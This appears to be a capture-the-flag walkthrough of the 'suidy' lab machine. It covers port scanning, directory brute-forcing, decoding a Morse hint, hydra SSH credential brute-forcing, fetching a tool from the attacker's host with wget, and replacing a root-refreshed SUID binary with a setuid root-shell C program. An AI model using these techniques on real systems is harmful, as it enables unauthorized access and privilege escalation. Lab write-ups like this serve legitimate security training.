suidy
scan
❯ rustscan -a 192.168.0.109 -- -A -sVPORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)53/tcp open domain syn-ack (generic dns response: SERVFAIL)80/tcp open http syn-ack nginx 1.14.2| http-methods:|_ Supported Methods: GET HEAD|_http-title: Site doesn't have a title (text/html).|_http-server-header: nginx/1.14.21 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :web
❯ gobuster dir -u http://192.168.0.109/ -w ~/wordlists/dir.txt/index.html (Status: 200) [Size: 22]/robots.txt (Status: 200) [Size: 362]view-source:http://192.168.0.109/robots.txt
/hi/....\..\.-\--.\.-\..\-./shehatesme
.... .. .- --. .- .. -.from morse codeHIAGAINhiagain
http://192.168.0.109/shehatesme/
She hates me because I FOUND THE REAL SECRET!I put in this directory a lot of .txt files.ONE of .txt files contains credentials like "theuser/thepass" to access to her system!All that you need is an small dict from Seclist!
❯ gobuster dir -u http://192.168.0.109/shehatesme/ -w ~/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt/full.txt25 collapsed lines
/about.txt/search.txt/privacy.txt/blog.txt/new.txt/page.txt/forums.txt/jobs.txt/other.txt/welcome.txt/admin.txt/faqs.txt/2001.txt/link.txt/space.txt/network.txt/google.txt/folder.txt/java.txt/issues.txt/guide.txt/es.txt/art.txt/smilies.txt/airport.txt/secret.txt/procps.txt/pynfo.txt/lh2.txt/muze.txt/alba.txt/cymru.txt/wha.txtrequest and get file
import requestsimport sys
for j in sys.stdin: j=j.strip() response=requests.get(f"http://192.168.0.109/shehatesme{j}") # print(f"http://192.168.0.109/shehatesme{j}") print(response.text)bruteforce
❯ cat tmp | python tmp.py | sort | uniq -c 34 1 hidden1/passZZ! 25 jaime11/JKiufg6 1 jhfbvgt/iugbnvh 1 john765/FDrhguy 1 maria11/jhfgyRf 1 mmnnbbv/iughtyr 1 nhvjguy/kjhgyut 1 smileys/98GHbjh 1 theuser/thepass 1 yuijhse/hjupnkk
❯ hydra -L ./tmp -P ./tmp2 ssh://192.168.0.109[22][ssh] host: 192.168.0.109 login: theuser password: thepass
hidden1:passZZ!jaime11:JKiufg6jhfbvgt:iugbnvhjohn765:FDrhguymaria11:jhfgyRfmmnnbbv:iughtyrnhvjguy:kjhgyutsmileys:98GHbjhtheuser:thepassyuijhse:hjupnkk
❯ hydra -C ./tmp ssh://192.168.0.109[22][ssh] host: 192.168.0.109 login: theuser password: thepassssh
theuser/thepass❯ ssh theuser@192.168.0.109theuser@suidy:~$ ls -altotal 36drwxr-xr-x 3 theuser theuser 4096 sep 27 2020 .drwxr-xr-x 4 root root 4096 sep 26 2020 ..-rw------- 1 theuser theuser 29 sep 27 2020 .bash_history-rw-r--r-- 1 theuser theuser 220 sep 26 2020 .bash_logout-rw-r--r-- 1 theuser theuser 3526 sep 26 2020 .bashrcdrwxr-xr-x 3 theuser theuser 4096 sep 26 2020 .local-rw-r--r-- 1 theuser theuser 807 sep 26 2020 .profile-rw-r--r-- 1 theuser theuser 11 sep 26 2020 user.txt-rw------- 1 theuser theuser 51 sep 26 2020 .Xauthoritytheuser@suidy:~$ cat user.txtHMV2353IVI
theuser@suidy:~$ find / -perm -u=s -type f 2>/dev/null | xargs ls -la-rwsrwsr-x 1 root theuser 16704 sep 26 2020 /home/suidy/suidyyyyy-rwsr-xr-x 1 root root 54096 jul 27 2018 /usr/bin/chfn-rwsr-xr-x 1 root root 44528 jul 27 2018 /usr/bin/chsh12 collapsed lines
-rwsr-xr-x 1 root root 84016 jul 27 2018 /usr/bin/gpasswd-rwsr-xr-x 1 root root 51280 ene 10 2019 /usr/bin/mount-rwsr-xr-x 1 root root 44440 jul 27 2018 /usr/bin/newgrp-rwsr-xr-x 1 root root 63736 jul 27 2018 /usr/bin/passwd-rwsr-xr-x 1 root root 63568 ene 10 2019 /usr/bin/su-rwsr-xr-x 1 root root 34888 ene 10 2019 /usr/bin/umount-rwsr-xr-- 1 root messagebus 51184 jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper-rwsr-xr-x 1 root root 10232 mar 28 2017 /usr/lib/eject/dmcrypt-get-device-rwsr-xr-x 1 root root 436552 ene 31 2020 /usr/lib/openssh/ssh-keysign
theuser@suidy:/home/suidy$ ./suidyyyyysuidy@suidy:/home/suidy$ iduid=1001(suidy) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)suidy@suidy:/home/suidy$ cat note.txtI love SUID files!The best file is suidyyyyy because users can use it to feel as I feel.root know it and run an script to be sure that my file has SUID.If you are "theuser" I hate you!
-suidyupload
❯ python -m http.serversuidy@suidy:/home/suidy$ wget http://192.168.0.105:8000/pspy64
2025/08/08 14:49:41 CMD: UID=0 PID=1 | /sbin/init2025/08/08 14:50:01 CMD: UID=0 PID=1446 | /usr/sbin/CRON -f2025/08/08 14:50:01 CMD: UID=0 PID=1447 | /usr/sbin/CRON -f2025/08/08 14:50:01 CMD: UID=0 PID=1448 | /bin/sh -c sh /root/timer.sh2025/08/08 14:50:01 CMD: UID=0 PID=1449 | sh /root/timer.shupload and gcc and replace suidyyyyy
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>int main(void){ setuid(0); setgid(0); system("/bin/bash");}theuser@suidy:~$ gcc rootshell.c -o suidyyyyytheuser@suidy:~$ cp suidyyyyy /home/suidy/suidyyyyy
theuser@suidy:/home/suidy$ ./suidyyyyyroot@suidy:/home/suidy# id
root@suidy:/root# cat root.txtHMV0000EVE